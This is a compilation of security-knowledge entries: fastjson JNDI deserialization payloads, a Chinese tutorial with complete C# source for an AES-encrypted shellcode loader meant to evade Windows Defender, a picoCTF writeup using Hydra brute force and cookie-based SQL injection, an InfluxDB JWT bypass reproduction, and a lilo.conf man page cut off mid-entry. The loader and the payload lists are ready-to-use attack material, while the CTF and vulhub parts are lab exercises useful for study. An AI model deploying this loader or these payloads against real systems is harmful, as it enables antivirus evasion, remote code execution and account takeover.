- https://github.com/vulhub/vulhub/tree/master/fastjson/1.2.47-rce
**相关工具**
- [CaijiOrz/fastjson-1.2.47-RCE](https://github.com/CaijiOrz/fastjson-1.2.47-RCE)
---
## fastjson<=1.2.59
利用条件: fastjson<=1.2.59, 且开启autoType
```json
# 以下poc未复现成功
{"v59_error":{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://127.0.0.1"}}
{"v59_error":{"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://127.0.0.1"}}
```
官方于 2019/09/05 发布 1.2.60 版本修复该绕过方式
---
## fastjson<1.2.60 (Dos漏洞)
```
eyJhIjoiXHgaGiJ9
# base64解码后的数据发包,与正常请求相比,出现明显延迟即为存在漏洞
```
---
## fastjson<=1.2.61
利用条件: fastjson<=1.2.61, 且开启 autoType
```json
# 以下poc未复现成功
{"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"rmi://127.0.0.1"}
{"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"ldap://127.0.0.1","Object":"a"}
{\"@type\":\"org.apache.commons.configuration2.JNDIConfiguration\",\"prefix\":\"rmi://127.0.0.1:1099/Exploit\"}
```
官方于 2010/10/07 发布 1.2.62 版本修复该绕过方式
---
## fastjson<=1.2.62
利用条件: fastjson<=1.2.62, 且开启 autoType
该 poc 来自于 jackson, 对应漏洞编号 CVE-2020-8840
```json
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","asText":"ldap://0.0.0.0"}}
{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\",\"asText\":\"rmi://localhost:1099/Exploit\"}
```
```json
# 以下poc未复现成功
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://0.0.0.0"}}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","healthCheckRegistry":"ldap://0.0.0.0"}
{"@type":"org.apache.cocoon.components.slide.impl.JMSContentInterceptor","parameters": {"@type":"java.util.Hashtable","java.naming.factory.initial":"com.sun.jndi.rmi.registry.RegistryContextFactory","topic-factory":"ldap://0.0.0.0"},"namespace":""}
```
官方于2019/10/07发布1.2.63版本修复该绕过方式
---
## fastjson < 1.2.66
利用条件: fastjson<=1.2.66, 且开启 autoType
```json
{"v66":{"@type":"org.apache.shiro.realm.jndi.JndiRealmFactory","jndiNames":["ldap://0.0.0.0"],"Realms":[""]}}
{"v66":{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://0.0.0.0"}}
```
```json
# 以下poc未复现成功
{"v66_error":{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://0.0.0.0"}}
{"v66_error":{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://0.0.0.0"}}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://xx.xx.xx.xx:1389/Calc"}}
```
官方于2020/03/19发布1.2.67版本修复该绕过方式
---
1.2.67 版本及其之后的版本传递 JSON 格式 poc 不在需要参数名, poc 格式发生变化
---
## fastjson < 1.2.66 版本拒绝服务漏洞
**影响范围**
- 1.2.36 - 1.2.62
**相关文章**
- [fastjson < 1.2.66 版本最新漏洞分析](https://mp.weixin.qq.com/s/RShHui_TJeZM7-frzCfH7Q)
---
## fastjson<=1.2.68
**描述**
利用条件: fastjson<=1.2.68, 且开启 autoType
```json
{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://0.0.0.0"}
{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://0.0.0.0"}
```
官方于 2020/06/01 发布 1.2.69 版本修复该绕过方式
---
## AnterosDBCPConfig
```json
{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"healthCheckRegistry\":\"rmi://localhost:1099/Exploit\"}
{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"metricRegistry\":\"rmi://localhost:1099/Exploit\"}
```
---
## JtaTransactionConfig
```json
{\"@type\":\"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig\",\"properties\":{\"UserTransaction\":\"rmi://localhost:1099/Exploit\"}}
```
---
## fastjson <= 1.2.80
**相关文章**
- [Fastjson1.2.80漏洞复现](https://hosch3n.github.io/2022/09/01/Fastjson1-2-80%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/)
**POC | Payload | exp**
- [Lonely-night/fastjsonVul](https://github.com/Lonely-night/fastjsonVul) - fastjson 80 远程代码执行漏洞复现
|
sec-knowleage
|
# Writeup BITSCTF 2017
Team: c7f.m0d3, cr01283, msm, rev, shalom, akrasuski1, nazywam, psrok1
### Table of contents
* [ghost_in_the_machine (forensics)](ghost_in_the_machine)
* [enigma (crypto)](enigma)
* [sherlock (crypto)](sherlock)
* [beginners luck (crypto)](beginners_luck)
* [woodstock 1&2 (forensics)](woodstock)
* [riskv_and_reward](riskv_and_reward)
|
sec-knowleage
|
# 0x00 简介
这章主要讲下把shellcode加密然后解密运行，在前面几章讲过av一般都是杀的shellcode特征，msf的shellcode的加密后它就windows defender 就不认识它了。
其实每种语言都是一样的，这里用c# 因为它可以利用白名单执行,同时加密相对C/C++ 简单,但是可以看到它执行shell code代码量比C大多了。
# 0x01 加密shellcode
其实在GitHub上面很早就有大佬写了这些,还是那句话多搜索,多专研。
这里我直接用 `ShellcodeWrapper` (偷个懒精力有限达到效果就行)这款软件生成代码了,它的使用跟上章类似,只是转成CS,cpp,py文件需要自己编译一下
```
/*
Author: Arno0x0x, Twitter: @Arno0x0x
How to compile:
===============
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:encryptedShellcodeWrapper_aes.exe encryptedShellcodeWrapper_aes.cs
*/
using System;
using System.IO;
using System.Collections.Generic;
using System.Text;
using System.Threading.Tasks;
using System.Security.Cryptography;
using System.Runtime.InteropServices;
namespace RunShellCode
{
static class Program
{
//==============================================================================
// CRYPTO FUNCTIONS
//==============================================================================
private static T[] SubArray<T>(this T[] data, int index, int length)
{
T[] result = new T[length];
Array.Copy(data, index, result, 0, length);
return result;
}
private static byte[] xor(byte[] cipher, byte[] key)
{
byte[] decrypted = new byte[cipher.Length];
for (int i = 0; i < cipher.Length; i++)
{
decrypted[i] = (byte)(cipher[i] ^ key[i % key.Length]);
}
return decrypted;
}
//--------------------------------------------------------------------------------------------------
// Decrypts the given a plaintext message byte array with a given 128 bits key
// Returns the unencrypted message
//--------------------------------------------------------------------------------------------------
private static byte[] aesDecrypt(byte[] cipher, byte[] key)
{
var IV = cipher.SubArray(0, 16);
var encryptedMessage = cipher.SubArray(16, cipher.Length - 16);
// Create an AesManaged object with the specified key and IV.
using (AesManaged aes = new AesManaged())
{
aes.Padding = PaddingMode.PKCS7;
aes.KeySize = 128;
aes.Key = key;
aes.IV = IV;
using (MemoryStream ms = new MemoryStream())
{
using (CryptoStream cs = new CryptoStream(ms, aes.CreateDecryptor(), CryptoStreamMode.Write))
{
cs.Write(encryptedMessage, 0, encryptedMessage.Length);
}
return ms.ToArray();
}
}
}
//==============================================================================
// MAIN FUNCTION
//==============================================================================
static void Main()
{
byte[] encryptedShellcode = new byte[] { 0xe4, 0xbd, 0x2b, 0x77, 0xc2, 0x6a, 0xf7, 0xb5, 0x6a, 0x64, 0x3b, 0x9a, 0x8f, 0x45, 0xc1, 0xac, 0xb1, 0x9e, 0x4e, 0x47, 0x5b, 0x50, 0x31, 0x2c, 0xfd, 0x6d, 0xf2, 0x9d, 0xe5, 0xb8, 0xca, 0x68, 0x14, 0x00, 0x23, 0xd4, 0x73, 0x4a, 0x47, 0x83, 0x72, 0xca, 0x54, 0x5a, 0xb7, 0xb3, 0xa3, 0x72, 0xf0, 0x3a, 0x19, 0x1c, 0x0d, };
string key = "Z3QRrVk9OEeXvAbK28zFyw==";
string cipherType = "aes";
byte[] shellcode = null;
//--------------------------------------------------------------
// Decrypt the shellcode
if (cipherType == "xor")
{
shellcode = xor(encryptedShellcode, Encoding.ASCII.GetBytes(key));
}
else if (cipherType == "aes")
{
shellcode = aesDecrypt(encryptedShellcode, Convert.FromBase64String(key));
}
//--------------------------------------------------------------
// Copy decrypted shellcode to memory
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
// Prepare data
IntPtr pinfo = IntPtr.Zero;
// Invoke the shellcode
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
return;
}
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
// The usual Win32 API trio functions: VirtualAlloc, CreateThread, WaitForSingleObject
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(
UInt32 lpStartAddr,
UInt32 size,
UInt32 flAllocationType,
UInt32 flProtect
);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId
);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);
}
}
```
代码很简单 大家动动手就能写一个它支持xor aes加密,这种免杀效果比框架生成好太多了,不推荐使用base64加密，因为它现在被检测的概率很大，用密匙加密
判断环境运行不妨是种简单有效的方式
生成的代码我们可以通过.net 的编译器来编译执行
```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:multibyteEncodeShellcode.exe multibyteEncodeShellcode.cs
```
用到的工具 https://github.com/Arno0x/ShellcodeWrapper
顺便看看windows defender的查杀效果
# 0x02 文末
大家还可以写其他加密方式,这类加载器，用起来就很顺手。
### 本文如有错误，请及时提醒，以免误导他人
|
sec-knowleage
|
# cereal hacker 1
Web Exploitation, 450 points
## Description:
> Login as admin.
## Solution:
The website redirects to a login page:
```console
root@kali:/media/sf_CTFs/pico/cereal_hacker_1# curl https://2019shell1.picoctf.com/problem/49879/ -I
HTTP/1.1 302 Found
Server: nginx
Date: Tue, 15 Oct 2019 09:21:55 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
location: index.php?file=login
Strict-Transport-Security: max-age=0
root@kali:/media/sf_CTFs/pico/cereal_hacker_1# curl https://2019shell1.picoctf.com/problem/49879/ -L
<!DOCTYPE html>
<html>
<head>
<link href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
<link href="style.css" rel="stylesheet">
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script>
</head>
<body>
<div class="container">
<div class="row">
<div class="col-sm-9 col-md-7 col-lg-5 mx-auto">
<div class="card card-signin my-5">
<div class="card-body">
<h5 class="card-title text-center">Sign In</h5>
<form class="form-signin" action="index.php?file=login" method="post">
<div class="form-label-group">
<input type="text" id="user" name="user" class="form-control" placeholder="Username" required autofocus>
<label for="user">Username</label>
</div>
<div class="form-label-group">
<input type="password" id="pass" name="pass" class="form-control" placeholder="Password" required>
<label for="pass">Password</label>
</div>
<button class="btn btn-lg btn-primary btn-block text-uppercase" type="submit">Sign in</button>
</form>
</div>
</div>
</div>
</div>
</div>
</body>
</html>
```
Since the URI for the login page is `index.php?file=login`, the first thing to try is path traversal. We can access an admin page via:
```console
root@kali:/media/sf_CTFs/pico/cereal_hacker_1# curl https://2019shell1.picoctf.com/problem/49879/index.php?file=admin
<!DOCTYPE html>
<html>
<head>
<link href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
<link href="style.css" rel="stylesheet">
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script>
</head>
<body>
<div class="container">
<div class="row">
<div class="col-sm-9 col-md-7 col-lg-5 mx-auto">
<div class="card card-signin my-5">
<div class="card-body">
<h5 class="card-title text-center">You are not admin!</h5>
<form action="index.php" method="get">
<button class="btn btn-lg btn-primary btn-block text-uppercase" name="file" value="login" type="submit" onclick="document.cookie='user_info=; expires=Thu, 01 Jan 1970 00:00:18 GMT; domain=; path=/;'">Go back to login</button>
</form>
</div>
</div>
</div>
</div>
</div>
</body>
</html>
```
But not much more. SQL injection does not lead anywhere and no cookies to manipulate. Maybe the admin has a weak password?
First, I tried a dictionary attack on the admin username, and when that didn't work I moved to a list of the most common usernames together with the top 10K passwords using `Hydra`:
```console
root@kali:/media/sf_CTFs/pico/cereal_hacker_1# ~/utils/thc-hydra/hydra -L ~/utils/dictionaries/top-usernames-shortlist.txt -P ~/utils/dictionaries/10-million-password-list-top-10000.txt -f -F 2019shell1.picoctf.com -s 49879 http-post-form "/index.php?file=login:user=^USER^&pass=^PASS^:Invalid Login" -v -R
Hydra v8.7-dev (c) 2018 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
[INFORMATION] reading restore file ./hydra.restore
[WARNING] options after -R are now honored (since v8.6)
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2019-10-04 08:22:29
[DATA] max 16 tasks per 1 server, overall 16 tasks, 170000 login tries (l:17/p:10000), ~10625 tries per task
[DATA] attacking http-post-form://2019shell1.picoctf.com:49879/index.php?file=login:user=^USER^&pass=^PASS^:Invalid Login
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[STATUS] 8978.00 tries/min, 8978 tries in 00:01h, 161022 to do in 00:18h, 16 active
[STATUS] 3392.67 tries/min, 10178 tries in 00:03h, 159822 to do in 00:48h, 16 active
[STATUS] 1823.86 tries/min, 12767 tries in 00:07h, 157233 to do in 01:27h, 16 active
[STATUS] 1196.73 tries/min, 17951 tries in 00:15h, 152049 to do in 02:08h, 16 active
[STATUS] 912.06 tries/min, 28274 tries in 00:31h, 141726 to do in 02:36h, 16 active
[VERBOSE] Page redirected to http://:49879/index.php?file=login
[49879][http-post-form] host: 2019shell1.picoctf.com login: guest password: guest
[STATUS] attack finished for 2019shell1.picoctf.com (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2019-10-04 09:02:01
```
(Notice the `-f -F` flags which tell `Hydra` to stop scanning once it found a single match - the default is to test all combinations).
We can login with `guest:guest`, let's see what we get:
```console
root@kali:/media/sf_CTFs/pico/cereal_hacker_1# curl https://2019shell1.picoctf.com/problem/49879/index.php?file=login --data "user=guest&pass=guest" -v
* Trying 3.15.247.173...
* TCP_NODELAY set
* Expire in 200 ms for 4 (transfer 0x5569d99fed10)
* Connected to 2019shell1.picoctf.com (3.15.247.173) port 443 (#0)
* ALPN, offering h2
* ALPN, offering http/1.1
* successfully set certificate verify locations:
* CAfile: none
CApath: /etc/ssl/certs
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.2 (IN), TLS handshake, Certificate (11):
* TLSv1.2 (IN), TLS handshake, Server key exchange (12):
* TLSv1.2 (IN), TLS handshake, Server finished (14):
* TLSv1.2 (OUT), TLS handshake, Client key exchange (16):
* TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (OUT), TLS handshake, Finished (20):
* TLSv1.2 (IN), TLS handshake, Finished (20):
* SSL connection using TLSv1.2 / ECDHE-RSA-AES256-GCM-SHA384
* ALPN, server accepted to use http/1.1
* Server certificate:
* subject: OU=Domain Control Validated; OU=PositiveSSL Wildcard; CN=*.picoctf.com
* start date: Oct 26 00:00:00 2018 GMT
* expire date: Nov 1 23:59:59 2020 GMT
* subjectAltName: host "2019shell1.picoctf.com" matched cert's "*.picoctf.com"
* issuer: C=GB; ST=Greater Manchester; L=Salford; O=COMODO CA Limited; CN=COMODO RSA Domain Validation Secure Server CA
* SSL certificate verify ok.
> POST /problem/49879/index.php?file=login HTTP/1.1
> Host: 2019shell1.picoctf.com
> User-Agent: curl/7.64.0
> Accept: */*
> Content-Length: 21
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 21 out of 21 bytes
< HTTP/1.1 302 Found
< Server: nginx
< Date: Tue, 15 Oct 2019 09:36:10 GMT
< Content-Type: text/html; charset=UTF-8
< Transfer-Encoding: chunked
< Connection: keep-alive
< Set-Cookie: user_info=TzoxMToicGVybWlzc2lvbnMiOjI6e3M6ODoidXNlcm5hbWUiO3M6NToiZ3Vlc3QiO3M6ODoicGFzc3dvcmQiO3M6NToiZ3Vlc3QiO30%253D; expires=Thu, 14-Nov-2019 09:36:10 GMT; Max-Age=2592000; path=/
< Location: index.php?file=login
< Strict-Transport-Security: max-age=0
<
<!DOCTYPE html>
<html>
<head>
<link href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
<link href="style.css" rel="stylesheet">
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script>
</head>
<body>
<div class="container">
<div class="row">
<div class="col-sm-9 col-md-7 col-lg-5 mx-auto">
<div class="card card-signin my-5">
<div class="card-body">
<h5 class="card-title text-center">Sign In</h5>
<form class="form-signin" action="index.php?file=login" method="post">
<div class="form-label-group">
<input type="text" id="user" name="user" class="form-control" placeholder="Username" required autofocus>
<label for="user">Username</label>
</div>
<div class="form-label-group">
<input type="password" id="pass" name="pass" class="form-control" placeholder="Password" required>
<label for="pass">Password</label>
</div>
<button class="btn btn-lg btn-primary btn-block text-uppercase" type="submit">Sign in</button>
</form>
</div>
</div>
</div>
</div>
</div>
</body>
* Connection #0 to host 2019shell1.picoctf.com left intact
</html>
```
We get a `user_info` cookie:
```
< Set-Cookie: user_info=TzoxMToicGVybWlzc2lvbnMiOjI6e3M6ODoidXNlcm5hbWUiO3M6NToiZ3Vlc3QiO3M6ODoicGFzc3dvcmQiO3M6NToiZ3Vlc3QiO30%253D; expires=Thu, 14-Nov-2019 09:36:10 GMT; Max-Age=2592000; path=/
```
Let's decode it:
```console
root@kali:/media/sf_CTFs/pico/cereal_hacker_1# node -e "console.log(decodeURIComponent('TzoxMToicGVybWlzc2lvbnMiOjI6e3M6ODoidXNlcm5hbWUiO3M6NToiZ3Vlc3QiO3M6ODoicGFzc3dvcmQiO3M6NToiZ3Vlc3QiO30%253D'));"
TzoxMToicGVybWlzc2lvbnMiOjI6e3M6ODoidXNlcm5hbWUiO3M6NToiZ3Vlc3QiO3M6ODoicGFzc3dvcmQiO3M6NToiZ3Vlc3QiO30%3D
root@kali:/media/sf_CTFs/pico/cereal_hacker_1# node -e "console.log(decodeURIComponent(decodeURIComponent('TzoxMToicGVybWlzc2lvbnMiOjI6e3M6ODoidXNlcm5hbWUiO3M6NToiZ3Vlc3QiO3M6ODoicGFzc3dvcmQiO3M6NToiZ3Vlc3Qi
O30%253D')));"
TzoxMToicGVybWlzc2lvbnMiOjI6e3M6ODoidXNlcm5hbWUiO3M6NToiZ3Vlc3QiO3M6ODoicGFzc3dvcmQiO3M6NToiZ3Vlc3QiO30=
root@kali:/media/sf_CTFs/pico/cereal_hacker_1# node -e "console.log(Buffer(decodeURIComponent(decodeURIComponent('TzoxMToicGVybWlzc2lvbnMiOjI6e3M6ODoidXNlcm5hbWUiO3M6NToiZ3Vlc3QiO3M6ODoicGFzc3dvcmQiO3M6NToiZ3Vlc3QiO30%253D')), 'base64').toString());"
O:11:"permissions":2:{s:8:"username";s:5:"guest";s:8:"password";s:5:"guest";}
```
After removing two layers of URL encoding and one later of base64 encoding, we get what looks like a serialized PHP object which represents the user.
This object is easy to interpret:
```
O:11:"permissions": <-- Object, object name has 11 characters
2: <-- Two attributes contained in object
{
s:8:"username"; s:5:"guest"; <-- Attribute name is string of length 8, value is string of length 5
s:8:"password"; s:5:"guest"; <-- Attribute name is string of length 8, value is string of length 5
}
```
Trying to change the username to `admin` doesn't work. However, using this cookie to perform an SQL injection does!
First, we manually change the serialized representation of the object:
```
O:11:"permissions":2:{s:8:"username";s:5:"admin";s:8:"password";s:24:"aaa' or password like '%";}
```
We encode the result:
```console
root@kali:/media/sf_CTFs/pico/cereal_hacker_1# node
> payload = `O:11:"permissions":2:{s:8:"username";s:5:"admin";s:8:"password";s:24:"aaa' or password like '%";}`
'O:11:"permissions":2:{s:8:"username";s:5:"admin";s:8:"password";s:24:"aaa\' or password like \'%";}'
> encodeURIComponent(encodeURIComponent(Buffer(payload).toString('base64')))
'TzoxMToicGVybWlzc2lvbnMiOjI6e3M6ODoidXNlcm5hbWUiO3M6NToiYWRtaW4iO3M6ODoicGFzc3dvcmQiO3M6MjQ6ImFhYScgb3IgcGFzc3dvcmQgbGlrZSAnJSI7fQ%253D%253D'
```
Finally, we send the cookie together with a request to tha admin page:
```console
root@kali:/media/sf_CTFs/pico/cereal_hacker_1# curl http://2019shell1.picoctf.com:49879/index.php?file=admin -H "Cookie: user_info=TzoxMToicGVybWlzc2lvbnMiOjI6e3M6ODoidXNlcm5hbWUiO3M6NToiYWRtaW4iO3M6ODoicGFzc3dvcmQiO3M6MjQ6ImFhYScgb3IgcGFzc3dvcmQgbGlrZSAnJSI7fQ%253D%253D" && echo
<!DOCTYPE html>
<html>
<head>
<link href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
<link href="style.css" rel="stylesheet">
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script>
</head>
<body>
<div class="container">
<div class="row">
<div class="col-sm-9 col-md-7 col-lg-5 mx-auto">
<div class="card card-signin my-5">
<div class="card-body">
<h5 class="card-title text-center">Welcome to the admin page!</h5>
<h5 style="color:blue" class="text-center">Flag: picoCTF{0d040919669d2bc1501212f90450eb4c}</h5>
</div>
</div>
</div>
</div>
</div>
</body>
</html>
```
|
sec-knowleage
|
# InfluxDB Empty JWT Secret Key Authentication Bypass (CVE-2019-20933)
[中文版本（Chinese Version）](README.zh-cn.md)
InfluxDB is an open-source time series database developed by the company InfluxData.
InfluxDB before 1.7.6 has an authentication bypass vulnerability in the authenticate function in `services/httpd/handler.go` because a JWT token may have an empty SharedSecret (aka shared secret).
References:
- https://www.komodosec.com/post/when-all-else-fails-find-a-0-day
- https://github.com/influxdata/influxdb/issues/12927
- https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933
- https://docs.influxdata.com/influxdb/v1.7/administration/config/#http-endpoints-settings
## Vulnerable Environment
Execute following command to start a InfluxDB 1.6.6:
```
docker compose up -d
```
After server is started, you can see some debug information in `http://your-ip:8086/debug/vars`. But you are unable to execute SQL statement without authencation and a 401 error is responsed:
## Vulnerability Reproduce
We can use <https://jwt.io/> to generate a valid JWT token with an empty secret key:
```
{
"alg": "HS256",
"typ": "JWT"
}
{
"username": "admin",
"exp": 2986346267
}
```
Where `username` is the administrator account name, and `exp` is the token expiration time. You should set `exp` to a future time to make it effect:
Then take this token to the request, and success to execute SQL statement `show users` in the server:
```
POST /query HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoyOTg2MzQ2MjY3fQ.LJDvEy5zvSEpA_C6pnK3JJFkUKGq9eEi8T2wdum3R_s
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
db=sample&q=show+users
```
|
sec-knowleage
|
.\" @(#)lilo.conf.5 1.0 950728 aeb
.\" This page is based on the lilo docs, which carry the following
.\" COPYING condition:
.\"
.\" LILO program code, documentation and auxiliary programs are
.\" Copyright 1992-1994 Werner Almesberger.
.\" All rights reserved.
.\"
.\" Redistribution and use in source and binary forms of parts of or the
.\" whole original or derived work are permitted provided that the
.\" original work is properly attributed to the author. The name of the
.\" author may not be used to endorse or promote products derived from
.\" this software without specific prior written permission. This work
.\" is provided "as is" and without any express or implied warranties.
.\"
.TH LILO.CONF 5 "20 March 2000"
.SH NAME
lilo.conf \- lilo 配置文件
.SH 描述
.LP
默认情况下,本文件 (
.IR /etc/lilo.conf
) 由引导管理程序 lilo 读取 (参考 lilo(8)).
.LP
它看起来可能象这样:
.IP
.nf
boot = /dev/hda
delay = 40
compact
vga = normal
root = /dev/hda1
read-only
image = /zImage-2.5.99
label = try
image = /zImage-1.0.9
label = 1.0.9
image = /tamu/vmlinuz
label = tamu
root = /dev/hdb2
vga = ask
other = /dev/hda3
label = dos
table = /dev/hda
.fi
.LP
该文件表明 lilo 使用设备 /dev/hda 的
Master Boot Record (简称 MBR, 主引导记录).
(有关 lilo 使用方法 及与其它操作系统 相互影响的讨论,
参考 lilo 文档中 user.tex 部分).
.LP
引导时, 引导载入程序会等待 4 秒 (40 个十分之一秒),
使你有机会按下 Shift 键.
如果没有按键动作发生, 第一个核心映像文件 (/zImage-1.5.99,
也许你刚在 五分钟之前 完成的安装) 将被引导;
否则, 引导载入程序会 询问你要引导哪一个映像.
如果你不知道 有哪些选项可以选择, 按 [TAB] 键
(如果使用的 是美国键盘布局, 还可以按 [?]),
可以得到一个菜单,
这时你就可以 选择引导较新的核心,
或者是老的稳定的核心, 甚至是另外的 根文件系统上的核心,
也可以引导其它的操作系统,
在 lilo.conf 中可以配置最多 16 个映像.
.LP
正如上面所见, 配置文件以一定数量的全局
选项开始 (例子中开始的 6 行),
紧接着是各映像的描述选项,
在各映像中的选项会覆盖全局选项.
.SH "全局选项"
这部分有许多 可能的关键字, 下面部分尽可能按照
user.tex 中的描述进行解释.
.TP
.BI "backup=" backup-file
使用
.I backup-file
文件 (可能是一个设备,如
.IR /dev/null )
代替原来的
.IR /boot/boot.NNNN
存放引导扇区的备份.
.TP
.BI "boot=" boot-device
指定包含引导扇区的设备名称 (如硬盘分区),
如果忽略了该关键字, 引导扇区就从
当前作为 root 文件系统
安装的设备读取 (也可能是进行写入).
.TP
.BI "change-rules"
定义引导时用于改变分区类型的数字 ('隐藏').
细节请参考 user.tex 中的 "Partition type change rules" 部分.
.TP
.BI "compact"
尽力把读取相邻扇区的请求合并为一次
读取. 这可以显著 缩短装载时间并减小映像,
在用软盘引导时, 强烈推荐使用 `compact'
选项.
.TP
.BI "default=" name
使用指定的映像文件 作为默认值加以引导.
如果忽略了 `default' 选项,
配置文件中 第一个出现的映像会被引导.
.TP
.BI "delay=" tsecs
在装载第一个映像之前等待的十分之一秒数.
这在需要激活键盘之后立即从硬盘
启动系统非常有用, 如果忽略了本选项或设置为 0
将不等待.
.TP
.BI "disk=" device-name
为指定的磁盘给出非标准参数,
有关细节参考 user.tex 中的 "Disk geometry" 部分.
特别有用的是 `bios=' 参数,
BIOS 为磁盘编号为0x80, 0x81等，但是它
不知道 Linux 磁盘对应的是哪一个 BIOS 盘
(因为这依赖于 BIOS 的设置, 也依赖于 BIOS 的类型),
所以如果你使用的是设置很特殊的系统,
你就必须说明 Linux 磁盘与 BIOS 盘之间的对应关系.
例如:
.sp
.nf
disk=/dev/sda
bios=0x80
disk=/dev/hda
bios=0x81
.fi
.sp
意思是, 你的第一块 SCSI 盘 (译者注: 通常id=0)
对应一号 BIOS 盘,
第一个 IDE 口上的主盘对应二号 BIOS 盘.
.TP
.BI "disktab=" disktab-file
指定包含磁盘参数表的文件名称.
如果忽略 `disktab' 选项,
映像安装程序查找
.I /etc/disktab
, 不鼓励使用 disktab .
.TP
.BI "fix-table"
允许 lilo 调整分区表中的三维地址 (sector/head/cylinder).
每个分区表项包含有本分区
起始扇区与结束扇区的三维地址和线性地址,
如果分区不是对应在整个磁道上并且
有其它的操作系统 (如PC/MS-DOS 或 OS/2) 在使用
同一磁盘, 它们可能会修改三维地址,
lilo 可以在分区上保存两种地址
的引导扇区, 如果使用了 `fix-table' 选项,
lilo 可以重新调整错误的三维开始地址.
警告: 这并不能保证其它的操作系统
随后不重新修改地址,
并且发生其它的负作用.
正确的方法是对磁盘重新分区,
使得分区对应于整个磁道.
.TP
.BI "force-backup=" backup-file
